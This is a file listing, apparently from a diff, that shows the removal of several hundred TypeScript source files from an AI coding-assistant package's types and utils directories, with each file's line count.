  1521. package/src/types/generated/events_mono/growthbook/v1/growthbook_experiment_event.ts +0 -223
  1522. package/src/types/generated/google/protobuf/timestamp.ts +0 -187
  1523. package/src/types/hooks.ts +0 -290
  1524. package/src/types/ids.ts +0 -44
  1525. package/src/types/logs.ts +0 -330
  1526. package/src/types/message.ts +0 -40
  1527. package/src/types/messageQueueTypes.ts +0 -2
  1528. package/src/types/notebook.ts +0 -7
  1529. package/src/types/permissions.ts +0 -441
  1530. package/src/types/plugin.ts +0 -363
  1531. package/src/types/statusLine.ts +0 -1
  1532. package/src/types/textInputTypes.ts +0 -387
  1533. package/src/types/tools.ts +0 -11
  1534. package/src/types/utils.ts +0 -2
  1535. package/src/upstreamproxy/relay.ts +0 -455
  1536. package/src/upstreamproxy/upstreamproxy.ts +0 -285
  1537. package/src/utils/CircularBuffer.ts +0 -84
  1538. package/src/utils/Cursor.ts +0 -1530
  1539. package/src/utils/QueryGuard.ts +0 -121
  1540. package/src/utils/Shell.ts +0 -474
  1541. package/src/utils/ShellCommand.ts +0 -465
  1542. package/src/utils/abortController.ts +0 -99
  1543. package/src/utils/activityManager.ts +0 -164
  1544. package/src/utils/advisor.ts +0 -145
  1545. package/src/utils/agentContext.ts +0 -178
  1546. package/src/utils/agentId.ts +0 -99
  1547. package/src/utils/agentSwarmsEnabled.ts +0 -44
  1548. package/src/utils/agenticSessionSearch.ts +0 -307
  1549. package/src/utils/analyzeContext.ts +0 -1382
  1550. package/src/utils/ansiToPng.ts +0 -334
  1551. package/src/utils/ansiToSvg.ts +0 -272
  1552. package/src/utils/api.ts +0 -718
  1553. package/src/utils/apiPreconnect.ts +0 -71
  1554. package/src/utils/appleTerminalBackup.ts +0 -124
  1555. package/src/utils/argumentSubstitution.ts +0 -145
  1556. package/src/utils/array.ts +0 -13
  1557. package/src/utils/asciicast.ts +0 -239
  1558. package/src/utils/attachments.ts +0 -3997
  1559. package/src/utils/attribution.ts +0 -393
  1560. package/src/utils/attributionHooks.ts +0 -2
  1561. package/src/utils/attributionTrailer.ts +0 -2
  1562. package/src/utils/auth.ts +0 -2002
  1563. package/src/utils/authFileDescriptor.ts +0 -196
  1564. package/src/utils/authPortable.ts +0 -19
  1565. package/src/utils/autoModeDenials.ts +0 -26
  1566. package/src/utils/autoRunIssue.tsx +0 -122
  1567. package/src/utils/autoUpdater.ts +0 -561
  1568. package/src/utils/aws.ts +0 -74
  1569. package/src/utils/awsAuthStatusManager.ts +0 -81
  1570. package/src/utils/background/remote/preconditions.ts +0 -235
  1571. package/src/utils/background/remote/remoteSession.ts +0 -98
  1572. package/src/utils/backgroundHousekeeping.ts +0 -94
  1573. package/src/utils/bash/ParsedCommand.ts +0 -318
  1574. package/src/utils/bash/ShellSnapshot.ts +0 -582
  1575. package/src/utils/bash/ast.ts +0 -2679
  1576. package/src/utils/bash/bashParser.ts +0 -4436
  1577. package/src/utils/bash/bashPipeCommand.ts +0 -294
  1578. package/src/utils/bash/commands.ts +0 -1339
  1579. package/src/utils/bash/heredoc.ts +0 -733
  1580. package/src/utils/bash/parser.ts +0 -230
  1581. package/src/utils/bash/prefix.ts +0 -204
  1582. package/src/utils/bash/registry.ts +0 -53
  1583. package/src/utils/bash/shellCompletion.ts +0 -259
  1584. package/src/utils/bash/shellPrefix.ts +0 -28
  1585. package/src/utils/bash/shellQuote.ts +0 -304
  1586. package/src/utils/bash/shellQuoting.ts +0 -128
  1587. package/src/utils/bash/specs/alias.ts +0 -14
  1588. package/src/utils/bash/specs/index.ts +0 -18
  1589. package/src/utils/bash/specs/nohup.ts +0 -13
  1590. package/src/utils/bash/specs/pyright.ts +0 -91
  1591. package/src/utils/bash/specs/sleep.ts +0 -13
  1592. package/src/utils/bash/specs/srun.ts +0 -31
  1593. package/src/utils/bash/specs/time.ts +0 -13
  1594. package/src/utils/bash/specs/timeout.ts +0 -20
  1595. package/src/utils/bash/treeSitterAnalysis.ts +0 -506
  1596. package/src/utils/betas.ts +0 -434
  1597. package/src/utils/billing.ts +0 -78
  1598. package/src/utils/binaryCheck.ts +0 -53
  1599. package/src/utils/browser.ts +0 -68
  1600. package/src/utils/bufferedWriter.ts +0 -100
  1601. package/src/utils/bundledMode.ts +0 -22
  1602. package/src/utils/caCerts.ts +0 -115
  1603. package/src/utils/caCertsConfig.ts +0 -88
  1604. package/src/utils/cachePaths.ts +0 -38
  1605. package/src/utils/ccshareResume.ts +0 -2
  1606. package/src/utils/classifierApprovals.ts +0 -88
  1607. package/src/utils/classifierApprovalsHook.ts +0 -17
  1608. package/src/utils/claudeCodeHints.ts +0 -193
  1609. package/src/utils/claudeDesktop.ts +0 -152
  1610. package/src/utils/claudeInChrome/chromeNativeHost.ts +0 -527
  1611. package/src/utils/claudeInChrome/common.ts +0 -540
  1612. package/src/utils/claudeInChrome/mcpServer.ts +0 -293
  1613. package/src/utils/claudeInChrome/prompt.ts +0 -83
  1614. package/src/utils/claudeInChrome/setup.ts +0 -400
  1615. package/src/utils/claudeInChrome/setupPortable.ts +0 -233
  1616. package/src/utils/claudeInChrome/toolRendering.tsx +0 -262
  1617. package/src/utils/claudemd.ts +0 -1479
  1618. package/src/utils/cleanup.ts +0 -602
  1619. package/src/utils/cleanupRegistry.ts +0 -25
  1620. package/src/utils/cliArgs.ts +0 -60
  1621. package/src/utils/cliHighlight.ts +0 -54
  1622. package/src/utils/codeIndexing.ts +0 -206
  1623. package/src/utils/collapseBackgroundBashNotifications.ts +0 -84
  1624. package/src/utils/collapseHookSummaries.ts +0 -59
  1625. package/src/utils/collapseReadSearch.ts +0 -1109
  1626. package/src/utils/collapseTeammateShutdowns.ts +0 -55
  1627. package/src/utils/combinedAbortSignal.ts +0 -47
  1628. package/src/utils/commandLifecycle.ts +0 -21
  1629. package/src/utils/commitAttribution.ts +0 -961
  1630. package/src/utils/completionCache.ts +0 -166
  1631. package/src/utils/computerUse/appNames.ts +0 -196
  1632. package/src/utils/computerUse/cleanup.ts +0 -86
  1633. package/src/utils/computerUse/common.ts +0 -61
  1634. package/src/utils/computerUse/computerUseLock.ts +0 -215
  1635. package/src/utils/computerUse/drainRunLoop.ts +0 -79
  1636. package/src/utils/computerUse/escHotkey.ts +0 -54
  1637. package/src/utils/computerUse/executor.ts +0 -658
  1638. package/src/utils/computerUse/gates.ts +0 -72
  1639. package/src/utils/computerUse/hostAdapter.ts +0 -69
  1640. package/src/utils/computerUse/inputLoader.ts +0 -30
  1641. package/src/utils/computerUse/mcpServer.ts +0 -106
  1642. package/src/utils/computerUse/setup.ts +0 -53
  1643. package/src/utils/computerUse/swiftLoader.ts +0 -23
  1644. package/src/utils/computerUse/toolRendering.tsx +0 -125
  1645. package/src/utils/computerUse/wrapper.tsx +0 -336
  1646. package/src/utils/concurrentSessions.ts +0 -204
  1647. package/src/utils/config.ts +0 -1817
  1648. package/src/utils/configConstants.ts +0 -21
  1649. package/src/utils/contentArray.ts +0 -51
  1650. package/src/utils/context.ts +0 -221
  1651. package/src/utils/contextAnalysis.ts +0 -272
  1652. package/src/utils/contextSuggestions.ts +0 -235
  1653. package/src/utils/controlMessageCompat.ts +0 -32
  1654. package/src/utils/conversationRecovery.ts +0 -597
  1655. package/src/utils/cron.ts +0 -308
  1656. package/src/utils/cronJitterConfig.ts +0 -75
  1657. package/src/utils/cronScheduler.ts +0 -565
  1658. package/src/utils/cronTasks.ts +0 -458
  1659. package/src/utils/cronTasksLock.ts +0 -195
  1660. package/src/utils/crossProjectResume.ts +0 -75
  1661. package/src/utils/crypto.ts +0 -13
  1662. package/src/utils/cwd.ts +0 -32
  1663. package/src/utils/debug.ts +0 -268
  1664. package/src/utils/debugFilter.ts +0 -157
  1665. package/src/utils/deepLink/banner.ts +0 -123
  1666. package/src/utils/deepLink/parseDeepLink.ts +0 -170
  1667. package/src/utils/deepLink/protocolHandler.ts +0 -136
  1668. package/src/utils/deepLink/registerProtocol.ts +0 -348
  1669. package/src/utils/deepLink/terminalLauncher.ts +0 -557
  1670. package/src/utils/deepLink/terminalPreference.ts +0 -54
  1671. package/src/utils/desktopDeepLink.ts +0 -236
  1672. package/src/utils/detectRepository.ts +0 -178
  1673. package/src/utils/diagLogs.ts +0 -94
  1674. package/src/utils/diff.ts +0 -177
  1675. package/src/utils/directMemberMessage.ts +0 -69
  1676. package/src/utils/displayTags.ts +0 -51
  1677. package/src/utils/doctorContextWarnings.ts +0 -265
  1678. package/src/utils/doctorDiagnostic.ts +0 -625
  1679. package/src/utils/dxt/helpers.ts +0 -88
  1680. package/src/utils/dxt/zip.ts +0 -226
  1681. package/src/utils/earlyInput.ts +0 -191
  1682. package/src/utils/editor.ts +0 -183
  1683. package/src/utils/effort.ts +0 -329
  1684. package/src/utils/embeddedTools.ts +0 -29
  1685. package/src/utils/env.ts +0 -347
  1686. package/src/utils/envDynamic.ts +0 -151
  1687. package/src/utils/envUtils.ts +0 -183
  1688. package/src/utils/envValidation.ts +0 -38
  1689. package/src/utils/errorLogSink.ts +0 -235
  1690. package/src/utils/errors.ts +0 -238
  1691. package/src/utils/eventLoopStallDetector.ts +0 -2
  1692. package/src/utils/exampleCommands.ts +0 -184
  1693. package/src/utils/execFileNoThrow.ts +0 -150
  1694. package/src/utils/execFileNoThrowPortable.ts +0 -89
  1695. package/src/utils/execSyncWrapper.ts +0 -38
  1696. package/src/utils/exportRenderer.tsx +0 -98
  1697. package/src/utils/extraUsage.ts +0 -23
  1698. package/src/utils/fastMode.ts +0 -532
  1699. package/src/utils/file.ts +0 -584
  1700. package/src/utils/fileHistory.ts +0 -1115
  1701. package/src/utils/fileOperationAnalytics.ts +0 -71
  1702. package/src/utils/filePersistence/filePersistence.ts +0 -287
  1703. package/src/utils/filePersistence/outputsScanner.ts +0 -126
  1704. package/src/utils/filePersistence/types.ts +0 -33
  1705. package/src/utils/fileRead.ts +0 -102
  1706. package/src/utils/fileReadCache.ts +0 -96
  1707. package/src/utils/fileStateCache.ts +0 -142
  1708. package/src/utils/findExecutable.ts +0 -17
  1709. package/src/utils/fingerprint.ts +0 -76
  1710. package/src/utils/forkedAgent.ts +0 -689
  1711. package/src/utils/format.ts +0 -308
  1712. package/src/utils/formatBriefTimestamp.ts +0 -81
  1713. package/src/utils/fpsTracker.ts +0 -47
  1714. package/src/utils/frontmatterParser.ts +0 -370
  1715. package/src/utils/fsOperations.ts +0 -770
  1716. package/src/utils/fullscreen.ts +0 -202
  1717. package/src/utils/generatedFiles.ts +0 -136
  1718. package/src/utils/generators.ts +0 -88
  1719. package/src/utils/genericProcessUtils.ts +0 -184
  1720. package/src/utils/getWorktreePaths.ts +0 -70
  1721. package/src/utils/getWorktreePathsPortable.ts +0 -27
  1722. package/src/utils/ghPrStatus.ts +0 -106
  1723. package/src/utils/git/gitConfigParser.ts +0 -277
  1724. package/src/utils/git/gitFilesystem.ts +0 -699
  1725. package/src/utils/git/gitignore.ts +0 -99
  1726. package/src/utils/git.ts +0 -926
  1727. package/src/utils/gitDiff.ts +0 -532
  1728. package/src/utils/gitSettings.ts +0 -18
  1729. package/src/utils/github/ghAuthStatus.ts +0 -29
  1730. package/src/utils/githubRepoPathMapping.ts +0 -162
  1731. package/src/utils/glob.ts +0 -130
  1732. package/src/utils/gracefulShutdown.ts +0 -529
  1733. package/src/utils/groupToolUses.ts +0 -182
  1734. package/src/utils/handlePromptSubmit.ts +0 -610
  1735. package/src/utils/hash.ts +0 -46
  1736. package/src/utils/headlessProfiler.ts +0 -178
  1737. package/src/utils/heapDumpService.ts +0 -303
  1738. package/src/utils/heatmap.ts +0 -198
  1739. package/src/utils/highlightMatch.tsx +0 -28
  1740. package/src/utils/hooks/AsyncHookRegistry.ts +0 -309
  1741. package/src/utils/hooks/apiQueryHookHelper.ts +0 -141
  1742. package/src/utils/hooks/execAgentHook.ts +0 -339
  1743. package/src/utils/hooks/execHttpHook.ts +0 -242
  1744. package/src/utils/hooks/execPromptHook.ts +0 -211
  1745. package/src/utils/hooks/fileChangedWatcher.ts +0 -191
  1746. package/src/utils/hooks/hookEvents.ts +0 -192
  1747. package/src/utils/hooks/hookHelpers.ts +0 -83
  1748. package/src/utils/hooks/hooksConfigManager.ts +0 -400
  1749. package/src/utils/hooks/hooksConfigSnapshot.ts +0 -133
  1750. package/src/utils/hooks/hooksSettings.ts +0 -271
  1751. package/src/utils/hooks/postSamplingHooks.ts +0 -70
  1752. package/src/utils/hooks/registerFrontmatterHooks.ts +0 -67
  1753. package/src/utils/hooks/registerSkillHooks.ts +0 -64
  1754. package/src/utils/hooks/sessionHooks.ts +0 -447
  1755. package/src/utils/hooks/skillImprovement.ts +0 -267
  1756. package/src/utils/hooks/ssrfGuard.ts +0 -294
  1757. package/src/utils/hooks.ts +0 -5022
  1758. package/src/utils/horizontalScroll.ts +0 -137
  1759. package/src/utils/http.ts +0 -136
  1760. package/src/utils/hyperlink.ts +0 -39
  1761. package/src/utils/iTermBackup.ts +0 -73
  1762. package/src/utils/ide.ts +0 -1494
  1763. package/src/utils/idePathConversion.ts +0 -90
  1764. package/src/utils/idleTimeout.ts +0 -53
  1765. package/src/utils/imagePaste.ts +0 -416
  1766. package/src/utils/imageResizer.ts +0 -880
  1767. package/src/utils/imageStore.ts +0 -167
  1768. package/src/utils/imageValidation.ts +0 -104
  1769. package/src/utils/immediateCommand.ts +0 -15
  1770. package/src/utils/inProcessTeammateHelpers.ts +0 -102
  1771. package/src/utils/ink.ts +0 -26
  1772. package/src/utils/intl.ts +0 -94
  1773. package/src/utils/jetbrains.ts +0 -191
  1774. package/src/utils/json.ts +0 -277
  1775. package/src/utils/jsonRead.ts +0 -16
  1776. package/src/utils/keyboardShortcuts.ts +0 -14
  1777. package/src/utils/lazySchema.ts +0 -8
  1778. package/src/utils/listSessionsImpl.ts +0 -454
  1779. package/src/utils/localInstaller.ts +0 -162
  1780. package/src/utils/lockfile.ts +0 -43
  1781. package/src/utils/log.ts +0 -362
  1782. package/src/utils/logoV2Utils.ts +0 -350
  1783. package/src/utils/mailbox.ts +0 -73
  1784. package/src/utils/managedEnv.ts +0 -199
  1785. package/src/utils/managedEnvConstants.ts +0 -191
  1786. package/src/utils/markdown.ts +0 -381
  1787. package/src/utils/markdownConfigLoader.ts +0 -600
  1788. package/src/utils/mcp/dateTimeParser.ts +0 -121
  1789. package/src/utils/mcp/elicitationValidation.ts +0 -336
  1790. package/src/utils/mcpInstructionsDelta.ts +0 -130
  1791. package/src/utils/mcpOutputStorage.ts +0 -189
  1792. package/src/utils/mcpValidation.ts +0 -208
  1793. package/src/utils/mcpWebSocketTransport.ts +0 -200
  1794. package/src/utils/memoize.ts +0 -269
  1795. package/src/utils/memory/types.ts +0 -12
  1796. package/src/utils/memory/versions.ts +0 -8
  1797. package/src/utils/memoryFileDetection.ts +0 -289
  1798. package/src/utils/messagePredicates.ts +0 -8
  1799. package/src/utils/messageQueueManager.ts +0 -547
  1800. package/src/utils/messages/mappers.ts +0 -290
  1801. package/src/utils/messages/systemInit.ts +0 -96
  1802. package/src/utils/messages.ts +0 -5512
  1803. package/src/utils/model/agent.ts +0 -157
  1804. package/src/utils/model/aliases.ts +0 -25
  1805. package/src/utils/model/antModels.ts +0 -64
  1806. package/src/utils/model/bedrock.ts +0 -265
  1807. package/src/utils/model/check1mAccess.ts +0 -72
  1808. package/src/utils/model/configs.ts +0 -118
  1809. package/src/utils/model/contextWindowUpgradeCheck.ts +0 -47
  1810. package/src/utils/model/deprecation.ts +0 -101
  1811. package/src/utils/model/model.ts +0 -618
  1812. package/src/utils/model/modelAllowlist.ts +0 -170
  1813. package/src/utils/model/modelCapabilities.ts +0 -118
  1814. package/src/utils/model/modelOptions.ts +0 -540
  1815. package/src/utils/model/modelStrings.ts +0 -166
  1816. package/src/utils/model/modelSupportOverrides.ts +0 -50
  1817. package/src/utils/model/providers.ts +0 -40
  1818. package/src/utils/model/validateModel.ts +0 -159
  1819. package/src/utils/modelCost.ts +0 -231
  1820. package/src/utils/modifiers.ts +0 -41
  1821. package/src/utils/mtls.ts +0 -179
  1822. package/src/utils/nativeInstaller/download.ts +0 -523
  1823. package/src/utils/nativeInstaller/index.ts +0 -18
  1824. package/src/utils/nativeInstaller/installer.ts +0 -1708
  1825. package/src/utils/nativeInstaller/packageManagers.ts +0 -336
  1826. package/src/utils/nativeInstaller/pidLock.ts +0 -433
  1827. package/src/utils/notebook.ts +0 -224
  1828. package/src/utils/objectGroupBy.ts +0 -18
  1829. package/src/utils/pasteStore.ts +0 -104
  1830. package/src/utils/path.ts +0 -155
  1831. package/src/utils/pdf.ts +0 -300
  1832. package/src/utils/pdfUtils.ts +0 -70
  1833. package/src/utils/peerAddress.ts +0 -21
  1834. package/src/utils/permissions/PermissionMode.ts +0 -141
  1835. package/src/utils/permissions/PermissionPromptToolResultSchema.ts +0 -127
  1836. package/src/utils/permissions/PermissionResult.ts +0 -35
  1837. package/src/utils/permissions/PermissionRule.ts +0 -40
  1838. package/src/utils/permissions/PermissionUpdate.ts +0 -389
  1839. package/src/utils/permissions/PermissionUpdateSchema.ts +0 -78
  1840. package/src/utils/permissions/autoModeState.ts +0 -39
  1841. package/src/utils/permissions/bashClassifier.ts +0 -61
  1842. package/src/utils/permissions/bypassPermissionsKillswitch.ts +0 -155
  1843. package/src/utils/permissions/classifierDecision.ts +0 -98
  1844. package/src/utils/permissions/classifierShared.ts +0 -39
  1845. package/src/utils/permissions/dangerousPatterns.ts +0 -80
  1846. package/src/utils/permissions/denialTracking.ts +0 -45
  1847. package/src/utils/permissions/filesystem.ts +0 -1777
  1848. package/src/utils/permissions/getNextPermissionMode.ts +0 -101
  1849. package/src/utils/permissions/pathValidation.ts +0 -485
  1850. package/src/utils/permissions/permissionExplainer.ts +0 -250
  1851. package/src/utils/permissions/permissionRuleParser.ts +0 -198
  1852. package/src/utils/permissions/permissionSetup.ts +0 -1532
  1853. package/src/utils/permissions/permissions.ts +0 -1486
  1854. package/src/utils/permissions/permissionsLoader.ts +0 -296
  1855. package/src/utils/permissions/shadowedRuleDetection.ts +0 -234
  1856. package/src/utils/permissions/shellRuleMatching.ts +0 -228
  1857. package/src/utils/permissions/yoloClassifier.ts +0 -1495
  1858. package/src/utils/planModeV2.ts +0 -95
  1859. package/src/utils/plans.ts +0 -397
  1860. package/src/utils/platform.ts +0 -150
  1861. package/src/utils/plugins/addDirPluginSettings.ts +0 -71
  1862. package/src/utils/plugins/cacheUtils.ts +0 -196
  1863. package/src/utils/plugins/dependencyResolver.ts +0 -305
  1864. package/src/utils/plugins/fetchTelemetry.ts +0 -135
  1865. package/src/utils/plugins/gitAvailability.ts +0 -69
  1866. package/src/utils/plugins/headlessPluginInstall.ts +0 -174
  1867. package/src/utils/plugins/hintRecommendation.ts +0 -164
  1868. package/src/utils/plugins/installCounts.ts +0 -292
  1869. package/src/utils/plugins/installedPluginsManager.ts +0 -1268
  1870. package/src/utils/plugins/loadPluginAgents.ts +0 -348
  1871. package/src/utils/plugins/loadPluginCommands.ts +0 -946
  1872. package/src/utils/plugins/loadPluginHooks.ts +0 -287
  1873. package/src/utils/plugins/loadPluginOutputStyles.ts +0 -178
  1874. package/src/utils/plugins/lspPluginIntegration.ts +0 -387
  1875. package/src/utils/plugins/lspRecommendation.ts +0 -374
  1876. package/src/utils/plugins/managedPlugins.ts +0 -27
  1877. package/src/utils/plugins/marketplaceHelpers.ts +0 -592
  1878. package/src/utils/plugins/marketplaceManager.ts +0 -2643
  1879. package/src/utils/plugins/mcpPluginIntegration.ts +0 -634
  1880. package/src/utils/plugins/mcpbHandler.ts +0 -968
  1881. package/src/utils/plugins/officialMarketplace.ts +0 -25
  1882. package/src/utils/plugins/officialMarketplaceGcs.ts +0 -216
  1883. package/src/utils/plugins/officialMarketplaceStartupCheck.ts +0 -439
  1884. package/src/utils/plugins/orphanedPluginFilter.ts +0 -114
  1885. package/src/utils/plugins/parseMarketplaceInput.ts +0 -162
  1886. package/src/utils/plugins/performStartupChecks.tsx +0 -70
  1887. package/src/utils/plugins/pluginAutoupdate.ts +0 -284
  1888. package/src/utils/plugins/pluginBlocklist.ts +0 -127
  1889. package/src/utils/plugins/pluginDirectories.ts +0 -178
  1890. package/src/utils/plugins/pluginFlagging.ts +0 -208
  1891. package/src/utils/plugins/pluginIdentifier.ts +0 -123
  1892. package/src/utils/plugins/pluginInstallationHelpers.ts +0 -595
  1893. package/src/utils/plugins/pluginLoader.ts +0 -3302
  1894. package/src/utils/plugins/pluginOptionsStorage.ts +0 -400
  1895. package/src/utils/plugins/pluginPolicy.ts +0 -20
  1896. package/src/utils/plugins/pluginStartupCheck.ts +0 -341
  1897. package/src/utils/plugins/pluginVersioning.ts +0 -157
  1898. package/src/utils/plugins/reconciler.ts +0 -265
  1899. package/src/utils/plugins/refresh.ts +0 -215
  1900. package/src/utils/plugins/schemas.ts +0 -1681
  1901. package/src/utils/plugins/validatePlugin.ts +0 -903
  1902. package/src/utils/plugins/walkPluginMarkdown.ts +0 -69
  1903. package/src/utils/plugins/zipCache.ts +0 -406
  1904. package/src/utils/plugins/zipCacheAdapters.ts +0 -164
  1905. package/src/utils/postCommitAttribution.ts +0 -2
  1906. package/src/utils/powershell/dangerousCmdlets.ts +0 -185
  1907. package/src/utils/powershell/parser.ts +0 -1804
  1908. package/src/utils/powershell/staticPrefix.ts +0 -316
  1909. package/src/utils/preflightChecks.tsx +0 -151
  1910. package/src/utils/privacyLevel.ts +0 -55
  1911. package/src/utils/process.ts +0 -68
  1912. package/src/utils/processUserInput/processBashCommand.tsx +0 -140
  1913. package/src/utils/processUserInput/processSlashCommand.tsx +0 -922
  1914. package/src/utils/processUserInput/processTextPrompt.ts +0 -100
  1915. package/src/utils/processUserInput/processUserInput.ts +0 -605
  1916. package/src/utils/profilerBase.ts +0 -46
  1917. package/src/utils/promptCategory.ts +0 -49
  1918. package/src/utils/promptEditor.ts +0 -188
  1919. package/src/utils/promptShellExecution.ts +0 -183
  1920. package/src/utils/protectedNamespace.ts +0 -2
  1921. package/src/utils/proxy.ts +0 -426
  1922. package/src/utils/queryContext.ts +0 -179
  1923. package/src/utils/queryHelpers.ts +0 -552
  1924. package/src/utils/queryProfiler.ts +0 -301
  1925. package/src/utils/queueProcessor.ts +0 -95
  1926. package/src/utils/readEditContext.ts +0 -227
  1927. package/src/utils/readFileInRange.ts +0 -383
  1928. package/src/utils/releaseNotes.ts +0 -360
  1929. package/src/utils/renderOptions.ts +0 -77
  1930. package/src/utils/ripgrep.ts +0 -679
  1931. package/src/utils/sandbox/sandbox-adapter.ts +0 -985
  1932. package/src/utils/sandbox/sandbox-ui-utils.ts +0 -12
  1933. package/src/utils/sanitization.ts +0 -91
  1934. package/src/utils/screenshotClipboard.ts +0 -121
  1935. package/src/utils/sdkEventQueue.ts +0 -134
  1936. package/src/utils/sdkHeapDumpMonitor.ts +0 -2
  1937. package/src/utils/secureStorage/fallbackStorage.ts +0 -70
  1938. package/src/utils/secureStorage/index.ts +0 -17
  1939. package/src/utils/secureStorage/keychainPrefetch.ts +0 -116
  1940. package/src/utils/secureStorage/macOsKeychainHelpers.ts +0 -111
  1941. package/src/utils/secureStorage/macOsKeychainStorage.ts +0 -231
  1942. package/src/utils/secureStorage/plainTextStorage.ts +0 -84
  1943. package/src/utils/secureStorage/types.ts +0 -2
  1944. package/src/utils/semanticBoolean.ts +0 -29
  1945. package/src/utils/semanticNumber.ts +0 -36
  1946. package/src/utils/semver.ts +0 -59
  1947. package/src/utils/sequential.ts +0 -56
  1948. package/src/utils/sessionActivity.ts +0 -133
  1949. package/src/utils/sessionDataUploader.ts +0 -2
  1950. package/src/utils/sessionEnvVars.ts +0 -22
  1951. package/src/utils/sessionEnvironment.ts +0 -166
  1952. package/src/utils/sessionFileAccessHooks.ts +0 -250
  1953. package/src/utils/sessionIngressAuth.ts +0 -140
  1954. package/src/utils/sessionRestore.ts +0 -551
  1955. package/src/utils/sessionStart.ts +0 -232
  1956. package/src/utils/sessionState.ts +0 -150
  1957. package/src/utils/sessionStorage.ts +0 -5105
  1958. package/src/utils/sessionStoragePortable.ts +0 -793
  1959. package/src/utils/sessionTitle.ts +0 -129
  1960. package/src/utils/sessionUrl.ts +0 -64
  1961. package/src/utils/set.ts +0 -53
  1962. package/src/utils/settings/allErrors.ts +0 -32
  1963. package/src/utils/settings/applySettingsChange.ts +0 -92
  1964. package/src/utils/settings/changeDetector.ts +0 -488
  1965. package/src/utils/settings/constants.ts +0 -202
  1966. package/src/utils/settings/internalWrites.ts +0 -37
  1967. package/src/utils/settings/managedPath.ts +0 -34
  1968. package/src/utils/settings/mdm/constants.ts +0 -81
  1969. package/src/utils/settings/mdm/rawRead.ts +0 -130
  1970. package/src/utils/settings/mdm/settings.ts +0 -316
  1971. package/src/utils/settings/permissionValidation.ts +0 -262
  1972. package/src/utils/settings/pluginOnlyPolicy.ts +0 -60
  1973. package/src/utils/settings/schemaOutput.ts +0 -8
  1974. package/src/utils/settings/settings.ts +0 -1015
  1975. package/src/utils/settings/settingsCache.ts +0 -80
  1976. package/src/utils/settings/toolValidationConfig.ts +0 -103
  1977. package/src/utils/settings/types.ts +0 -1148
  1978. package/src/utils/settings/validateEditTool.ts +0 -45
  1979. package/src/utils/settings/validation.ts +0 -265
  1980. package/src/utils/settings/validationTips.ts +0 -164
  1981. package/src/utils/shell/bashProvider.ts +0 -255
  1982. package/src/utils/shell/outputLimits.ts +0 -14
  1983. package/src/utils/shell/powershellDetection.ts +0 -107
  1984. package/src/utils/shell/powershellProvider.ts +0 -123
  1985. package/src/utils/shell/prefix.ts +0 -367
  1986. package/src/utils/shell/readOnlyCommandValidation.ts +0 -1893
  1987. package/src/utils/shell/resolveDefaultShell.ts +0 -14
  1988. package/src/utils/shell/shellProvider.ts +0 -33
  1989. package/src/utils/shell/shellToolUtils.ts +0 -22
  1990. package/src/utils/shell/specPrefix.ts +0 -241
  1991. package/src/utils/shellConfig.ts +0 -167
  1992. package/src/utils/sideQuery.ts +0 -222
  1993. package/src/utils/sideQuestion.ts +0 -155
  1994. package/src/utils/signal.ts +0 -43
  1995. package/src/utils/sinks.ts +0 -16
  1996. package/src/utils/skills/skillChangeDetector.ts +0 -311
  1997. package/src/utils/slashCommandParsing.ts +0 -60
  1998. package/src/utils/sleep.ts +0 -84
  1999. package/src/utils/sliceAnsi.ts +0 -91
  2000. package/src/utils/slowOperations.ts +0 -286
  2001. package/src/utils/standaloneAgent.ts +0 -23
  2002. package/src/utils/startupProfiler.ts +0 -194
  2003. package/src/utils/staticRender.tsx +0 -116
  2004. package/src/utils/stats.ts +0 -1061
  2005. package/src/utils/statsCache.ts +0 -434
  2006. package/src/utils/status.tsx +0 -362
  2007. package/src/utils/statusNoticeDefinitions.tsx +0 -198
  2008. package/src/utils/statusNoticeHelpers.ts +0 -20
  2009. package/src/utils/stream.ts +0 -76
  2010. package/src/utils/streamJsonStdoutGuard.ts +0 -123
  2011. package/src/utils/streamlinedTransform.ts +0 -201
  2012. package/src/utils/stringUtils.ts +0 -235
  2013. package/src/utils/subprocessEnv.ts +0 -99
  2014. package/src/utils/suggestions/commandSuggestions.ts +0 -567
  2015. package/src/utils/suggestions/directoryCompletion.ts +0 -263
  2016. package/src/utils/suggestions/shellHistoryCompletion.ts +0 -119
  2017. package/src/utils/suggestions/skillUsageTracking.ts +0 -55
  2018. package/src/utils/suggestions/slackChannelSuggestions.ts +0 -209
  2019. package/src/utils/swarm/It2SetupPrompt.tsx +0 -380
  2020. package/src/utils/swarm/backends/ITermBackend.ts +0 -370
  2021. package/src/utils/swarm/backends/InProcessBackend.ts +0 -339
  2022. package/src/utils/swarm/backends/PaneBackendExecutor.ts +0 -354
  2023. package/src/utils/swarm/backends/TmuxBackend.ts +0 -764
  2024. package/src/utils/swarm/backends/detection.ts +0 -128
  2025. package/src/utils/swarm/backends/it2Setup.ts +0 -245
  2026. package/src/utils/swarm/backends/registry.ts +0 -464
  2027. package/src/utils/swarm/backends/teammateModeSnapshot.ts +0 -87
  2028. package/src/utils/swarm/backends/types.ts +0 -311
  2029. package/src/utils/swarm/constants.ts +0 -33
  2030. package/src/utils/swarm/inProcessRunner.ts +0 -1552
  2031. package/src/utils/swarm/leaderPermissionBridge.ts +0 -54
  2032. package/src/utils/swarm/permissionSync.ts +0 -928
  2033. package/src/utils/swarm/reconnection.ts +0 -119
  2034. package/src/utils/swarm/spawnInProcess.ts +0 -328
  2035. package/src/utils/swarm/spawnUtils.ts +0 -146
  2036. package/src/utils/swarm/teamHelpers.ts +0 -683
  2037. package/src/utils/swarm/teammateInit.ts +0 -129
  2038. package/src/utils/swarm/teammateLayoutManager.ts +0 -107
  2039. package/src/utils/swarm/teammateModel.ts +0 -10
  2040. package/src/utils/swarm/teammatePromptAddendum.ts +0 -18
  2041. package/src/utils/systemDirectories.ts +0 -74
  2042. package/src/utils/systemPrompt.ts +0 -123
  2043. package/src/utils/systemPromptType.ts +0 -14
  2044. package/src/utils/systemTheme.ts +0 -119
  2045. package/src/utils/systemThemeWatcher.ts +0 -2
  2046. package/src/utils/taggedId.ts +0 -54
  2047. package/src/utils/task/TaskOutput.ts +0 -390
  2048. package/src/utils/task/diskOutput.ts +0 -451
  2049. package/src/utils/task/framework.ts +0 -308
  2050. package/src/utils/task/outputFormatting.ts +0 -38
  2051. package/src/utils/task/sdkProgress.ts +0 -36
  2052. package/src/utils/taskSummary.ts +0 -2
  2053. package/src/utils/tasks.ts +0 -862
  2054. package/src/utils/teamDiscovery.ts +0 -81
  2055. package/src/utils/teamMemoryOps.ts +0 -88
  2056. package/src/utils/teammate.ts +0 -292
  2057. package/src/utils/teammateContext.ts +0 -96
  2058. package/src/utils/teammateMailbox.ts +0 -1183
  2059. package/src/utils/telemetry/betaSessionTracing.ts +0 -491
